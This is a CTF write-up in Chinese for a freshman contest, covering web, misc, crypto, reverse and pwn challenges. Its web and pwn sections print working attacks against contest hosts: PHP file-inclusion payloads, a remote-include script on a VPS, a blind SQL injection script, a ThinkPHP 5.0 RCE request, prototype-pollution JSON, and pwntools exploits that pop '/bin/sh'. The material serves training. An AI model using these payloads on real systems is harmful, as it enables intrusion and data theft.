主要面向新生的招新赛,谁不喜欢简单题呢。
地址: http://42.192.92.41:8080/
Web
Whiskey’s House 2.0
门前银杏又新叶,当年后会已无期
http://121.4.46.58:10001/
看似是简单的任意文件读取,其实是简单的命令执行。
直接读取/flag会返回假的flag,这就是打AWD时的痛苦叭。
访问/robots.txt发现存在1.php和waf.php
http://121.4.46.58:10001/index.php?action=1.php
phpinfo中发现ban了几乎所有危险函数,但开启了远程文件包含。
一般会尝试直接在服务器上放一个写了马的txt文件来打,但是其实是waf.php中把这个方法ban了。
最后能发现data协议还是可以用的,这里直接base64加密绕过,结果其他师傅都是直接用单引号绕了。
http://121.4.46.58:10001/index.php?action=data://text/plain;base64,PD9waHAgdmFyX2R1bXAoZmlsZV9nZXRfY29udGVudHMoIi9mbGFnIikpOyA/Pgd
[真]·铜墙·[超凡]·铁壁
最伟大的黑客只喜欢最朴素的防护
http://121.4.46.58:10002/
全场就一个登录框,但是点击没反应,不管是F12看network还是抓包,都能发现这个登陆框是没有发包的。有一说一,这个前端就是杭电的统一身份认证系统。
查看源码,发现它是向index.php页面POST过去了un和pd参数,所以在Bp里构造一个POST包发过去。
<form id="loginForm" class="login_form" action="/index.php" method="post">
<input type="text" class="login_box_input" style="margin-top: 30px" placeholder="帐号" id="un" name="un">
<input type="password" class="login_box_input" placeholder="密码" id="pd" name="pd">
un不是admin的时候提示”账号错误”,其他时候是”密码错误”,所以爆破一下,密码是000000
web_sign_in
http://123.57.145.88:10002/?source[]=<?php readfile("/flag");?>
file_put_contents会读入数组。但是preg_match并不会检测数组。
御坂御坂
先做好信息收集
robots.txt里有个登录界面
index.php.bak里告诉了注入路径和注入点
注入有多种方法:
方法一 联合注入
没有任何防护,直接联合注入
方法二 盲注
输入1和输入2的回显不同,可以直接盲注,比较无脑
# -*- coding: utf-8 -*-
# 布尔盲注
import requests
url = 'http://81.70.167.219:8008/inject/for_the_first_step_to_inject_me.php'
s = ''
# ev="(select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA)"
# ev="(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='cbctf')"
# ev="(select GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='user' and table_schema='cbctf')"
# ev="(select username FROM user)"
ev="(select password FROM user)"
# ev="(select database())"
for i in range(1,30000): # 这个地方可能会有些问题,数据库长度未知的时候过长会出现重复字母到时候自行删除即可
min = 8
max = 126
while abs(max - min) > 1:
mid = (max + min) // 2
parms = {
'id': f"1' and if(ascii(mid({ev},{str(i)},1))>{str(mid)},1,0);#"
}
r = requests.get(url=url, params=parms)
if 'yousa' in r.text:
# print(r.text)
# print(chr(i),"true")
min = mid
else:
max = mid
s += chr(max)
print(s)
方法三 sqlmap
登录进去以后注释发现了第二关入口
常见反序列化字符串逃逸 套路和UNCTF2020 easyserilaze 相同
http://81.70.167.219:8008/serialize_me_to_get_the_second_step.php?1=hosthosthosthosthosthosthosthosthosthosthost%22;s:8:%22password%22;s:7:%22whiskey%22;}1
得到下一关入口the_last_step_RCE_me_to_get_flag.php
view-source:http://81.70.167.219:8008/the_last_step_RCE_me_to_get_flag.php?action=php://filter/read=string.rot13/resource=the_last_step_RCE_me_to_get_flag.php
读到源码和h1nt.php
<?php
$flag="flag{7his_is_@_f4ke_f1a9}";
//RFI to get flag!
提示要远程文件包含
自己vps上写
#1.txt
<?php
readfile('/flag');
?>
然后远程文件包含
http://81.70.167.219:8008/the_last_step_RCE_me_to_get_flag.php?action=http://47.97.123.81:10001/1.txt
So_so_eAsy_node_js
考点:js弱类型绕过+js原型链污染
{"__proto__": {"PTT0": 1}}
{"wendell":"1","whiskey":[1]}
推荐看一下P牛的文章
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html
弱类型部分取自
http://wh1sper.cn/npuctf2020_wp/NPUCTF2020的验证?
注意是json格式的数据,先污染原型链,再读取flag
平平无奇thinkphp
tp5.0 有两个rce的点,一个是未开启强制路由,获取的控制器时没有校验导致任意方法调用,还有一个就是这个request,method那里任意方法调用,调_construct变量覆盖导致rce,
这个题是当时网鼎杯的faka那个题的我们的一个非预期,觉得绕过思路还是很有意思的,所以出出来,
题目开启了强制路由,所以思路是调_construct变量覆盖然后进行rce,
这个利用链最后执行的点是在这里
private function filterValue(&$value, $key, $filters)
if (is_callable($filter)) {
// 调用函数或者方法过滤
if(strpos($filter,'_')|| strpos($filter,'\\')!==false){
exit(0);
}
$value = call_user_func($filter, $value);
_construct
system这种直接执行命令的函数没了,因为是php7.2assert也不能用,但是是之间读/flag,可以考虑用readfile
然而在route.php有一个设置
'__domain__' =>[
'*' => '******'
]
当thinkphp有这个设置时,会在框架执行时,调用
获取http头的Host
导致我们readfile的payload打过去报错
所以可以考虑把报错关了或者利用函数执行链把这个绕过去,或者之间找其他命令执行的思路
这里还ban了_和\ ,所以thinkphp内置的一些类方法不能用
开始考虑过无参数rce ,但是ban了_ ,session_id,不能用,getallheader 因为有一个传参,也不行
直接读文件,又需要用到数组的方法,没有_也不行
最后想到hex2bin
最后paylaod
POST / HTTP/1.1
Host: 2f666c6167
Content-Length: 123
Content-Type: application/x-www-form-urlencoded
Connection: close
_method=__construct&method=GET&filter%5B0%5D=hex2bin&filter%5B1%5D=readfile&filter%5B2%5D=error_reporting&get[0]=2f666c6167
其他解-来自学弟Yang_99
http://ip/index.php?s=/flag
_method=__construct&filter[]=readfile&method=get&server[REQUEST_METHOD]=-1
虽然fuzz也可以找到这种解法,但是看源码这里也是很巧妙的,
在这个地方,先判断了sever是否为空,然后因为上面的payload变量覆盖给server覆盖了值,所以并没把真正的server穿进去,导致host的那个限制没了,直接任意命令执行就好
最后
因为是新生赛,也没有很严格的去测题,本这有能力调源码的新生,出一下简单的非预期也没啥的想法,所以题目问题可能挺多的,感谢尖尖和学弟们在出题中对我的帮助.
Misc
test your nc
签到题,echo读文件
bash
for line in $(<flag); do echo $line; done
我要成为神奇宝贝带师
游戏题,别的题做自闭了可以来玩玩。。根据剧情,每个城镇地上都有flag。但是通关发现少两个字母,只能寻找地图编辑器。
套路和新生培训上讲的PTT0历险记一样,寻找地图编辑器Advance Map
flag flag{I_Love_Pok4Mon!}
who is killer
从黄道十二宫杀手密码里得到的出题灵感,由于是新生赛,所以只选用了其中很小的一部分加密方式,Z-340的第一部分。
下载附件能得到一个描述事故的小故事,foremost一下可以得到另一张图片,是一个密文。
然后将原图的高度修改一下可以发现提示:Z-340
百度谷歌搜索一下即可搜索到加密方式
将图片上的密文按照Z-340第一部分的解密方式进行解密,即可得到flag。个别文章里误将右写成了左,但看后面得到的第二个字符 “+”就能发现这个错误,并不影响做题。手撸很快,写脚本也是几行就能写完,前前后后都是秒。
解码得到:
helloboysandgirlsiamzodicakillercongratulationonfindmethisisyourflagzpggisthefinallybigboss
verylow
下载附件得到1.64MB的txt,将里面的数据base64解码后即可发现头文件为504B0304,hex解码一下保存为zip压缩包
zip压缩包内有一个名为 “woshishui” 的文件。直接看发现不了是什么文件,对全文件反转后即可看到头为42 4D 86 94,42 4D是bmp的头文件。将后缀名改为bmp得到一张智乃图。
然后在根据题目名verylow,可知SilentEye中bmp的解码方式里也有一个verylow。利用SilentEye解码一下即可得到flag
IC
基本上是之江杯的原题,出题时有想改难一点,后来感觉新生赛还是简单点算了,所以题目形式没有改变。
基础知识:
最普通的ic卡有16个扇区(0-15),每个扇区又分为4个区域块(0-63), 每个扇区都有独立的一对密码keyA和keyB负责控制对每个扇区数据的读写操作,keyA和keyB分布在每个扇区的第四块中。第0扇区的第一个数据块,存储着IC卡的UID号,其他扇区可以存储其他的数据,如钱等数据。
题目给的文件就是ic卡内的数据,两个文件对比一下,先看差异部分
题目描述中有写到“去刷了点钱”,所以两个dump文件应该差别就是金额,
分析后发现第一个黑色块和第三个数值是相同的,实际上就是存的金额,这里需要稍微查阅些资料或者经验,金额再ic卡中一般是以分为单位,小端序存储,图示2.dump数据为8c6e,转换成0x6e8c,28300,也就是283元
第二个黑色块数值其实是第一个黑色块数据的取反,8c6e取反为7391,这里一般是为了校验用(这也不是为了出题而这样搞的,真实情况中有些卡确实是这样)
然后看后面的扇区,大概长这样,可以发现,每个扇区的中间两行的红色框内数据都是可见字符
同理按照上面的金额的校验方法,将第二个框内数据取反试试
这样就能拼出一串有意义的字符串,套上flag就可以交了
flag{Y0u_hAcK@d_H6Us_Sy5tEm}
Crypto
大魔术师
首先抽象出加密函数f(x)=(2*x)%(n+1),然后计算e满足2^e = 1 mod (n+1),则一叠牌经过e次完美洗牌后就回到初始状态,写脚本得到e为52,已知40轮,求20轮,即再完美洗牌32次即可。这是一种方法,还有就是直接推求逆的数学公式,再深入理解这其实就是一个每组26字符的栅栏等等方式。
flag{35d73abcef21bb077283935c1ab55934}
basyrsa
最普通的rabin加密,原理自行百度吧,这里贴个脚本(看完wp,发现直接开方也能算出来,这波大意了)
import libnum
p = 11280195800394225193201977641506157206608546800756730825026418522628916734453311331854240893900011916056123879466172351401470888808200188211697798357342263
q = 13229100349591006754778266002884819502644686669813280840875988877044447789130265216132199634629189890802879160736498897340285594766696908509366479982182343
c = 341913879069205774345768114562560148138987307198678420462424933583566794987937404568141118273289
n = p*q
c_p = pow(c,(p+1)//4,p)
c_q = pow(c,(q+1)//4,q)
a = libnum.invmod(p,q)
b = libnum.invmod(q,p)
x = (b*q*c_p+a*p*c_q)%n
y = (b*q*c_p-a*p*c_q)%n
print(libnum.n2s(x))
print(libnum.n2s(n-x))
print(libnum.n2s(y))
print(libnum.n2s(n-y)
#flag{happy_RSA_Yes!}
旋转的栅栏
普通的栅栏密码,每组字数为题目长度5,解密得到ThIsiuArEs0tIgtYaeRHgAlFe,然后是旋转部分,这里有5组字符,每组都顺时针旋转90度,然后看第一列ThIsi,i右边就是s,螺旋读法即可得到flag,最后一个小坑的点是大家把全部都当作flag了,后来给了hint,长度是12,这里就知道只要后面部分就可以了。
flag{Y0uArEgReatI}
PH
这一题后面没啥难度,主要是解决dlp获取e,但是看来32bit还是不太够嗷,这都有人爆的么,下次给40好了。
直接discrete_log显然不能,毕竟这个模数也是有个1055bit。
这题的切入点在这个模数的欧拉函数有小因子,所以这个模数也不太安全,现实中也不能找这种模数。然后就是,既然这个模数的欧拉函数有小因子,所以我们可以在这个有限域下找到低阶点,这个低阶点生成的群也会比较小,有利于我们利用pohlig-hellman算法的运行。
q = 233392563532105999607423620368931214904072311714576514222950769231204102623776840457609495331011660358508862046019693547137964599332333055794151027358316052815030805966766472008838394272766891210093842456718560135479924990525541617498137895477632364666282455836784548753828786245146794833789171868710010890890285183379
_q = 2300559127080509418101246740803503260975099720611107269949693701279612305012860539899590368335303755902827458402056863084141772508660803009999015308002482556719614300928787407970913012401663405177852576228102477230217706363121002418447575348847720868994294182764330391765488336969829346974027*2614560217771*197*41*2 #对其欧拉函数的因式分解(首先在factordb上分解,会得到……*2402010421*197*41*2,之后用yafu分解……,可以得到……*2614560217771),这里的_q少了2402010421,当然也可以舍弃2614560217771
c = 209929619209223227100804857883327058984648875565507682178639193457442349287030908449187317533904186593660202039227268975844770698909315785471771813740947367107553812757662800502639937265182452862017635149031667839016569911207130249868565142369583479265824569229114754576632782191430664095651208896183018760539058673162
#生成一对等价于c和m的cc和mm,但是他们的阶比较小,就是前面因式分解中少了的大约40bit的那一个值,要是不懂可以询问群里的端茶倒水
cc = pow(c,_q,q)
m = 619940436950888188753194007026217521
mm = pow(m,_q,q)
cc = mod(cc,q)
mm = mod(mm,q)
discrete_log(cc,mm) #再调用sage现成的函数
后面的步骤就不多说了,原本都想把flag设成md5(e)的,但是又怕选手e解出来了,flag提交不对,省得麻烦,就随便加了一点。
Re
进击的Python
python的反编译,网上的在线反编译出不来,只能通过pip安装个库来实现
pip install uncompyle6
安装即可
然后输入命令
uncompyle6 topic.pyc > main.py
就可以看到python的源代码了
思路是先将flag base64加密然后异或,最后的脚本如下:
from base64 import *
des = "617a0e12131f6d54243f1409095549120e5540230202360f0d2022346a682a120f3f3403326e08520d20220e251d6339"
b = bytes.fromhex(des)
#print(b)
b = b[::-1]
li = list(b)
change =''
for i in range(1,len(b)):
li[i] = li[i] ^ li[i-1]
change += chr(li[i])
#print(change)
change = change[::-1]
change += chr(b[0])
change = change.encode()
flag = b64decode(change)
print(flag.decode())
#CBCTF{plez_in_reverse_find_yourself}
ELF
简单的位运算
加密算法和解密算法是一样的
f1=[0x36,0x38,0x34,0x31,0x3e,0x1b,0x11,0x14,0x19,0x14,0x1e,0x11,0x19,0x1b,0x1c,0x1a,0x12,0x11,0x1c,0x1c,0x1a,0x19]
f2=[0x7e,0x29,0xe8,0xdd,0x76,0x22,0x9c,0xe8,0xd8,0xda,0x77,0x74,0xd5,0x20,0x7f,0x2f,0x5a,0x74,0x13,0x57,0x7a,0x33]
key1 = "ajsdiaafneifnkdnfaeeon"
key2 = "femfnfwoifmnekfnkowfnf"
k=[]
for i,j in zip(f2,key2):
i ^= ord(j)
k.append(i)
l=[]
flag2=[]
k.reverse()
for a,b in zip(f1,k):
a = (a & 0x55) ^ ((b & 0xaa) >>1) | a & 0xaa
b = 2 * (a & 0x55) ^ b & 0xaa | b & 0x55
a = a & 0x55 ^ ((b & 0xaa) >>1) | a & 0xaa
l.append(a)
flag2.append(b)
flag1=[]
for i,j in zip(l,key1):
i ^= ord(j)
flag1.append(i)
print [chr(i) for i in flag1]
print [chr(i) for i in flag2]
void SMC
一个最基础的SMC实现。SMC即“自解密代码“,指通过修改代码或数据,阻止别人直接静态分析,然后在动态运行程序时对代码进行解密,达到程序正常运行的效果,而计算机病毒通常也会采用SMC技术动态修改内存中的可执行代码来达到变形或对代码加密的目的,从而躲过杀毒软件的查杀或者迷惑反病毒工作者对代码进行分析。—来自看雪论坛。程序把验证flag的关键逻辑加密后放在了.void段里,然后在运行的时候把验证函数解密,并且验证,对于这种题目,比较好的方式是动态调试,断在适当的位置,然后把解密后的函数汇编代码复制出来到IDA中,再静态分析。不过因为此题比较简单,所以可以在IDA中直接操作。首先通过字符串定位到程序main函数。
int sub_401150()
{
int v1; // [esp+0h] [ebp-8h]
_BYTE *i; // [esp+4h] [ebp-4h]
v1 = sub_409293(256);
sub_402030(v1, 0, 256);
sub_401100();
sub_4010C0("%s", v1);
for ( i = &loc_417000; (unsigned __int8)*i != 195; ++i )
*i ^= 0x66u;
if ( ((int (__cdecl *)(int))loc_417000)(v1) )
sub_401050("correct!", v1);
else
sub_401050("wrong flag,please try again", v1);
return 0;
}
第11行对函数内每个字节异或0x66,根据异或的性质,我们异或回去即可。
IDA Python脚本
addr = 0x417000
while(Byte(addr)!=195):
PatchByte(addr,Byte(addr)^0x66)
addr+=1
解密后选中整个函数按c键生成代码,再按p键生成函数,就可以用F5查看逻辑了。
signed int __cdecl sub_417000(const char *a1)
{
char v2; // [esp+0h] [ebp-44h]
char v3; // [esp+1h] [ebp-43h]
char v4; // [esp+2h] [ebp-42h]
char v5; // [esp+3h] [ebp-41h]
char v6; // [esp+4h] [ebp-40h]
char v7; // [esp+5h] [ebp-3Fh]
char v8; // [esp+6h] [ebp-3Eh]
char v9; // [esp+7h] [ebp-3Dh]
char v10; // [esp+8h] [ebp-3Ch]
char v11; // [esp+9h] [ebp-3Bh]
char v12; // [esp+Ah] [ebp-3Ah]
char v13; // [esp+Bh] [ebp-39h]
char v14; // [esp+Ch] [ebp-38h]
char v15; // [esp+Dh] [ebp-37h]
char v16; // [esp+Eh] [ebp-36h]
char v17; // [esp+Fh] [ebp-35h]
char v18; // [esp+10h] [ebp-34h]
char v19; // [esp+11h] [ebp-33h]
char v20; // [esp+12h] [ebp-32h]
char v21; // [esp+13h] [ebp-31h]
char v22; // [esp+14h] [ebp-30h]
char v23; // [esp+15h] [ebp-2Fh]
char v24; // [esp+16h] [ebp-2Eh]
char v25; // [esp+17h] [ebp-2Dh]
char v26; // [esp+18h] [ebp-2Ch]
char v27; // [esp+19h] [ebp-2Bh]
char v28; // [esp+1Ah] [ebp-2Ah]
char v29; // [esp+1Bh] [ebp-29h]
char v30; // [esp+1Ch] [ebp-28h]
char v31; // [esp+1Dh] [ebp-27h]
char v32; // [esp+1Eh] [ebp-26h]
int v33; // [esp+20h] [ebp-24h]
char *v34; // [esp+24h] [ebp-20h]
unsigned int v35; // [esp+28h] [ebp-1Ch]
const char *v36; // [esp+2Ch] [ebp-18h]
int v37; // [esp+30h] [ebp-14h]
const char *v38; // [esp+34h] [ebp-10h]
unsigned int v39; // [esp+38h] [ebp-Ch]
int i; // [esp+3Ch] [ebp-8h]
if ( !a1 )
return 0;
v36 = a1 + 1;
v39 = (unsigned int)&a1[strlen(a1) + 1];
v35 = v39 - (_DWORD)(a1 + 1);
v37 = v39 - (_DWORD)(a1 + 1);
if ( v39 - (_DWORD)(a1 + 1) != 31 )
return 0;
v2 = 53;
v3 = 45;
v4 = 42;
v5 = 48;
v6 = 25;
v7 = 12;
v8 = 36;
v9 = 90;
v10 = 7;
v11 = 10;
v12 = 0;
v13 = 52;
v14 = 36;
v15 = 49;
v16 = 51;
v17 = 46;
v18 = 19;
v19 = 27;
v20 = 1;
v21 = 49;
v22 = 35;
v23 = 26;
v24 = 4;
v25 = 94;
v26 = 15;
v27 = 22;
v28 = 54;
v29 = 68;
v30 = 15;
v31 = 10;
v32 = 9;
for ( i = 0; i < v37; ++i )
{
v38 = aVoidWantsGirlf;
v34 = &aVoidWantsGirlf[1];
v38 += strlen(v38);
v33 = ++v38 - &aVoidWantsGirlf[1];
if ( (aVoidWantsGirlf[i % (unsigned int)(v38 - &aVoidWantsGirlf[1])] ^ a1[i]) != *(&v2 + i) )
return 0;
}
return 1;
}
最后的脚本
cipher = [53, 45, 42, 48, 25, 12, 36, 90, 7, 10, 0, 52, 36, 49, 51, 46, 19, 27, 1, 49, 35, 26, 4, 94, 15, 22, 54, 68, 15, 10, 9]
key = "void_wants_girlfriends"
flag=""
for i in range(len(cipher)):
flag+=str(chr(ord(key[i%len(key)])^cipher[i]))
print(flag)
打码平台
题目是html和js,打开html后可以得知如果在60秒内能完成输入60张正确的验证码就可以得到flag,但验证码是6位中英文混合,所以手工基本不可能完成。题目给了两个js,打开ext.js,发现做了很严重的混淆,基本不可读,另一个叫captcha-mini-min.js,打开看发现做了代码的压缩,根据名字和压缩特征,可以知道这是一个验证码库的js文件,该库没有使用webpack这一类压缩,所以直接格式化一下代码就可以看到逻辑。
function Captcha(params = {}) {
let middleParams = Object.assign({
lineWidth: 0.5,
lineNum: 2,
dotR: 1,
dotNum: 15,
preGroundColor: [10, 80],
backGroundColor: [150, 250],
fontSize: 20,
fontFamily: ['Georgia', '微软雅黑', 'Helvetica', 'Arial'],
fontStyle: 'fill',
content: 'acdefhijkmnpwxyABCDEFGHJKMNPQWXY12345789',
length: 4
},
params);
Object.keys(middleParams).forEach(item = >{
this[item] = middleParams[item]
});
this.canvas = null;
this.paint = null
};
Captcha.prototype.getRandom = function(...arr) {
arr.sort((a, b) = >a - b);
return Math.floor(Math.random() * (arr[1] - arr[0]) + arr[0])
};
Captcha.prototype.getColor = function(arr) {
let colors = new Array(3).fill('');
colors = colors.map(item = >this.getRandom(...arr));
return colors
};
Captcha.prototype.getText = function() {
let length = this.content.length;
let str = '';
for (let i = 0; i < this.length; i++) {
str += this.content[this.getRandom(0, length)]
}
return str
};
Captcha.prototype.line = function() {
for (let i = 0; i < this.lineNum; i++) {
let x = this.getRandom(0, this.canvas.width);
let y = this.getRandom(0, this.canvas.height);
let endX = this.getRandom(0, this.canvas.width);
let endY = this.getRandom(0, this.canvas.height);
this.paint.beginPath();
this.paint.lineWidth = this.lineWidth;
let colors = this.getColor(this.preGroundColor);
this.paint.strokeStyle = 'rgba(' + colors[0] + ',' + colors[1] + ',' + colors[2] + ',' + '0.8)';
this.paint.moveTo(x, y);
this.paint.lineTo(endX, endY);
this.paint.closePath();
this.paint.stroke()
}
};
Captcha.prototype.circle = function() {
for (let i = 0; i < this.dotNum; i++) {
let x = this.getRandom(0, this.canvas.width);
let y = this.getRandom(0, this.canvas.height);
this.paint.beginPath();
this.paint.arc(x, y, this.dotR, 0, Math.PI * 2, false);
this.paint.closePath();
let colors = this.getColor(this.preGroundColor);
this.paint.fillStyle = 'rgba(' + colors[0] + ',' + colors[1] + ',' + colors[2] + ',' + '0.8)';
this.paint.fill()
}
};
Captcha.prototype.font = function() {
let str = this.getText();
this.callback(str);
this.paint.font = this.fontSize + 'px ' + this.fontFamily[this.getRandom(0, this.fontFamily.length)];
this.paint.textBaseline = 'middle';
let fontStyle = this.fontStyle + 'Text';
let colorStyle = this.fontStyle + 'Style';
for (let i = 0; i < this.length; i++) {
let fontWidth = this.paint.measureText(str[i]).width;
let x = this.getRandom(this.canvas.width / this.length * i + 0.2 * fontWidth, (this.canvas.width / this.length) * i + 0.5 * fontWidth);
let deg = this.getRandom( - 6, 6);
let colors = this.getColor(this.preGroundColor);
this.paint[colorStyle] = 'rgba(' + colors[0] + ',' + colors[1] + ',' + colors[2] + ',' + '0.8)';
this.paint.save();
this.paint.rotate(deg * Math.PI / 180);
this.paint[fontStyle](str[i], x, this.canvas.height / 2);
this.paint.restore()
}
};
Captcha.prototype.draw = function(dom, callback = function() {}) {
if (!this.paint) {
this.canvas = dom;
if (!this.canvas) return;
else this.paint = this.canvas.getContext('2d');
this.callback = callback;
this.canvas.onclick = () = >{
this.drawAgain()
}
}
let colors = this.getColor(this.backGroundColor);
this.paint.fillStyle = 'rgba(' + colors[0] + ',' + colors[1] + ',' + colors[2] + ',' + '0.8)';
this.paint.fillRect(0, 0, this.canvas.width, this.canvas.height);
this.circle();
this.line();
this.font()
};
Captcha.prototype.clear = function() {
this.paint.clearRect(0, 0, this.canvas.width, this.canvas.height)
};
Captcha.prototype.drawAgain = function() {
this.clear();
this.draw(this.callback)
};
if (typeof module !== 'undefined' && !module.nodeType && module.exports) {
module.exports = Captcha
}
应该从哪里入手呢,这里可以根据经验猜测主要逻辑,但对新手来说应该有更有说服力的方法。因为这是一个js库,我们可以选取里面特征的函数代码去github上搜索,比如Captcha.prototype.draw,Captcha.prototype.getColor这些,我选取的是86行的Captcha.prototype.draw,搜索到了四十五个结果,我们随便进入一个项目,在项目代码中搜索”draw“(eghttps://github.com/1124093245csngdz/erjieduan/search?q=draw),或者”captcha“这些关键字,在(https://github.com/1124093245csngdz/erjieduan/blob/ac2327bbd4d049d525022c71157a450026fdd1f9/client/js/register.js)中可以看见调用方法。我们就知道了,验证码的绘制是draw函数完成的,而验证码的内容是通过一个回调函数返回的,那我们就要找出是谁用了这个回调函数。
91行,把callback赋值给了this.callback。然后在this.font()中调用,69行,把验证码内容的字符串传入callback,而这个字符串来源于68行的getText方法。所以,把getText函数的代码修改成return “”;返回一个空字符串,就可以使验证码的内容恒为空。即可在60秒内完成任务。
PWN
pie
泄露canary和返回地址,任意地址读从libc里找到程序地址,计算程序基地址,覆盖返回地址执行后门函数
忘了禁用one_gadget导致可以直接one_gadget一把梭or2
exp:
#!/usr/bin/python
from pwn import *
import sys
context.log_level = 'debug'
context.arch='amd64'
local=0
binary_name='pie'
libc_name='libc.so.6'
libc=ELF("./"+libc_name)
e=ELF("./"+binary_name)
if local:
p=process("./"+binary_name)
else:
p=remote('120.26.174.140',10003)
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
rc=lambda x:p.recv(x)
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,b'\x00'))
sla("name?",b'a'*0x18)
ru('\x0a')
ru('\x0a')
canary=u64(p.recv(7).rjust(8,b'\x00'))
print(hex(canary))
sla("from?","b"*0x27)
ru('\x0a')
ru('\x0a')
libc_start_main = leak_address()
print(hex(libc_start_main))
sla("know?",p64(libc_start_main+0x3c9219-0x60))
ru('\x0a')
base = leak_address()-0x202040
print(hex(base))
hackme = base+0x9aa
sa('(yes/no)',b'no\x00\x00'+p32(0)+p64(0)*2+p64(canary)+p64(0)+p64(hackme))
ia()
PTT0的记账本
没有限制负数索引,由于bss上面就是got,show泄露libc地址,add改got表
这里改了free函数为system,free释放name为”/bin/sh\x00”的堆块即调用system(“/bin/sh”)
exp:
#!/usr/bin/python
from pwn import *
import sys
context.log_level = 'debug'
context.arch='amd64'
local=0
binary_name='book'
libc_name='libc.so.6'
libc=ELF("./"+libc_name)
e=ELF("./"+binary_name)
if local:
p=process("./"+binary_name)
else:
p=remote('120.26.174.140',10001)
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,b'\x00'))
def cho(i):
sla('>> ',str(i))
cho(3)
sla('index:','-6')
ru('time: ')
libc_addr1 = int(ru('\x0a')[:-1])
ru('deadline: ')
libc_addr2 = int(ru('\x0a')[:-1]) << 32
print (hex(libc_addr1))
print (hex(libc_addr2))
#setbuf
libc_base = libc_addr2 + libc_addr1 - 0x88540 - 0x60
print hex(libc_base)
system = libc_base+libc.sym['system']
puts = libc_base+libc.sym['puts']
print('system:'+hex(system))
print('puts:'+hex(puts))
system1 = system & 0xFFFFFFFF
system2 = (system & 0xFFFF00000000) >> 32
print(hex(system1))
print(hex(system2))
puts1 = puts & 0xFFFFFFFF
puts2 = (puts & 0xFFFF00000000) >> 32
print(hex(puts1))
print(hex(puts2))
cho(1)
sla('index:','1')
sla('time:','1')
sla('deadline:','1')
sla('money:','1')
sla('interest:','1')
sla('name:','/bin/sh\x00')
cho(1)
sla('index:','-7')
sla('time:',str(system1))
sla('deadline:',str(system2))
sla('money:',str(puts1))
sla('interest:',str(puts2))
sla('name:','x')
cho(2)
sla('index:','1')
ia()
easystack
scanf读入时没有使用&,且两个连续调用的函数在同一个位置开栈,所以可以控制栈上的值,使用scanf向任意地址写
exp:
from pwn import *
context(log_level='debug',arch='amd64')
local=1
binary_name='easystack'
if local:
p=process("./"+binary_name)
e=ELF("./"+binary_name)
libc=e.libc
else:
p=remote('node3.buuoj.cn',25985)
e=ELF("./"+binary_name)
libc=ELF("libc-2.27.so")
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
rc=lambda x:p.recv(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda : p.interactive()
shell=0x601054
ru("Welcome,what's your name?\n")
payload='a'*(0x70-0x34)+p64(shell)
sl(payload)
ru("Are you a pwner,weber or else?\n")
sl('a')
ru("DO YOU WANT TO JOIN 0RAYS?[1/0]\n")
sl(str(0xffff))
ia()
QAQ
由于出题人太懒直接从平台拿的0解题
ida的f5看不到真正的程序逻辑,汇编看关键跳转,只要绕过strcmp和一个字节比较就可以了
from pwn import *
context(arch = 'amd64', os = 'linux',log_level = 'debug')
p=process('./QAQ')
pd = b'\x00'*20
pd += b'a'*0x34+b'\x1b'
p.send(pd)
p.interactive()